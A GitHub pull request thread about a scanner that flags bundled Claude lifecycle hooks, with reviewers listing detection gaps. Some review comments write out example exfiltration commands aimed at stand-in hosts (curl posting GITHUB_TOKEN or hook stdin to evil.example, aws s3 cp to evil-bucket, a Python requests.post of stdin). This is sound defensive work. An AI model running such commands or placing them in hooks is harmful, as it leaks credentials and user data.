feat: analyze bundled hook execution surfaces

[chrisknvidia]

Part of #399

Scope

This draft is the hooks-only first slice of #399:

• BH1 reports bundled lifecycle hooks from the exact supported hook/settings surfaces.
• BH2 reports only closed, direct exfiltration proofs from those hook declarations.
• Hook parsing, evidence, ledger events, scoring, report output, baseline behavior, and recursive single-child CLI routing are included.

BH3 permission analysis is intentionally excluded. The stacked draft follow-up is #429.

Implementation

• one bounded analyzer module; no script interpreter, runtime engine, marketplace simulator, or duplicate archive traversal
• exact hooks/hooks.json, .claude/settings.json, and .claude/settings.local.json routing after existing input normalization
• aggregate, deterministic, sanitized BH1/BH2 evidence with per-document failure isolation
• an effective, well-formed project/local disableAllHooks: true suppresses ordinary bundled hooks from all three surfaces; no managed-settings exemption is asserted without managed provenance
• malformed modeled settings remain PARTIAL, preserve valid hook findings, and cannot make disableAllHooks trustworthy
• closed direct BH2 forms for external HTTP handlers and literal curl/wget/scp/rsync uploads, including sensitive hook stdin
• CRITICAL BH2 findings retain the existing blocking score/recommendation behavior

Verification

• focused analyzer, acceptance, registry, report, and CLI suite: 304 passed
• full suite on exact head 9759c6f: 3,055 passed, 13 skipped, 38 deselected, 4 expected xfails
• lint, formatting, C901 complexity, targeted mypy, lockfile, and diff checks: clean
• real directory and ZIP CLI scans: an ordinary plugin hook beside effective disableAllHooks emitted no BH findings, remained complete, scored 0/SAFE, and exited 0
• malformed same-file modeled settings retained BH1, reported incomplete analysis, exited 0 by default, and exited 1 with --fail-on-incomplete
• Docker smoke: image build, version/git checks, local fixture scan, and public GitHub URL scan passed
• integration regression comparison on the final stacked head and clean origin/main: both produced 30 passed, 2 skipped, 3 failed; the same two live-Codex model-resolution failures and graph/LLM telemetry expectation reproduce on main

Deliberate limits

The analyzer does not interpret referenced scripts, execute permission globs, simulate full settings precedence, discover new archive roots, or claim that absence of BH2 makes a hook safe. Live authenticated Claude/IDE/Desktop hook dispatch was not run because the local Claude environment is not authenticated.

This PR remains draft for maintainer review.

[rng1995]

Requesting changes because the new hook-flow model has several deterministic false negatives for credential/event-data exfiltration and several blocking false positives. The focused analyzer suite passes, so these behaviors need explicit regression cases before the model can safely drive BH2 install blocking.

[rng1995]

[P1] Parse shell parameter-expansion variants before looking up sensitive environment names. This regex misses ${GITHUB_TOKEN:-}, ${GITHUB_TOKEN:?missing}, and substring forms such as ${GITHUB_TOKEN:0:4}. A direct curl -d "${GITHUB_TOKEN:-}" https://evil.example/in then records only BH1 and a successful ledger entry, with no BH2 credential-flow finding.

[rng1995]

[P1] Propagate hook-event stdin through command substitution. For a stdin-bearing event, payload=$(cat); curl -d "$payload" https://evil.example/in reaches this fallback without event_taint, so the assignment becomes untainted and BH2 is missed. Pass the event taint into assignment/command-substitution analysis or fail closed on an unmodeled cat substitution.

[rng1995]

[P1] Model - as stdin for AWS object-store uploads and distinguish remote sources. On a stdin-bearing hook, aws s3 cp - s3://evil-bucket/event.json currently produces only BH1 and a successful ledger entry. The inverse remote-to-remote form can be mislabeled as a local sensitive-file read. Apply command-specific operand semantics before the generic value-taint check.

[rng1995]

[P1] Recognize buffered stdin reads. data = sys.stdin.buffer.read(); requests.post("https://evil.example/in", data=data) is a normal Python form, but only the unbuffered call names are accepted here, so event-data exfiltration is reported as BH1 only and analysis is marked complete.

[rng1995]

[P1] Traverse literal local Python imports or fail closed on them. This recursion discovers shell and JavaScript child references only; a registered main.py that imports helper.py, where the helper reads a token and posts it, produces BH1 only and marks the main handler complete. Literal import resolution needs the same bounded cache-local traversal semantics.

[mohgupta-ship-it]

Powered by Codex: PR council review result.

This is a triage signal, not a maintainer approval.

• Rating: new feature
• Confidence: high
• Status read: Draft, changes requested, merge blocked, green checks
• Review method: fresh GitHub metadata/body/files/reviews/checks plus selected diffs; council lenses were spec fit, dead-code/reachability, YAGNI/scope, design/coupling, and code standards/tests.
• Council assessment: Hook execution-surface analyzer still has live BH2 blockers per current review trail: false negatives for shell/Python exfiltration paths and some blocking false positives.
• Recommended action: Do not merge or describe as ready; fix BH2 blockers and add explicit regression coverage.

[rng1995]

[SkillSpector Review]

The current-main conflict is resolved at 4c06d7d by retaining #429's already-merged BH3 additions; the resolved tree is byte-for-byte identical to current main. I resolved the four threads whose requested behavior is now satisfied (|&/|| are explicitly unmodeled, the dig .env and tuple-unpack false positives are gone, and loopback classification uses one normalizer).

Still requesting changes for the five remaining data-flow cases: shell parameter expansion, event stdin through command substitution, aws s3 cp - stdin semantics, sys.stdin.buffer.read(), and local Python-import traversal. Exact current-tree reproductions emit BH1 only with payload_analysis_level="unmodeled", but the ledger remains COMPLETED; the acceptance path can therefore report analysis complete and recommend SAFE without analyzing the payload. Please either model these flows or make unmodeled payload analysis incomplete/fail closed, with exact regressions.

Because merged #429 already subsumes #404 plus BH3, closing #404 as superseded and fixing this behavior on main in a focused follow-up may be cleaner.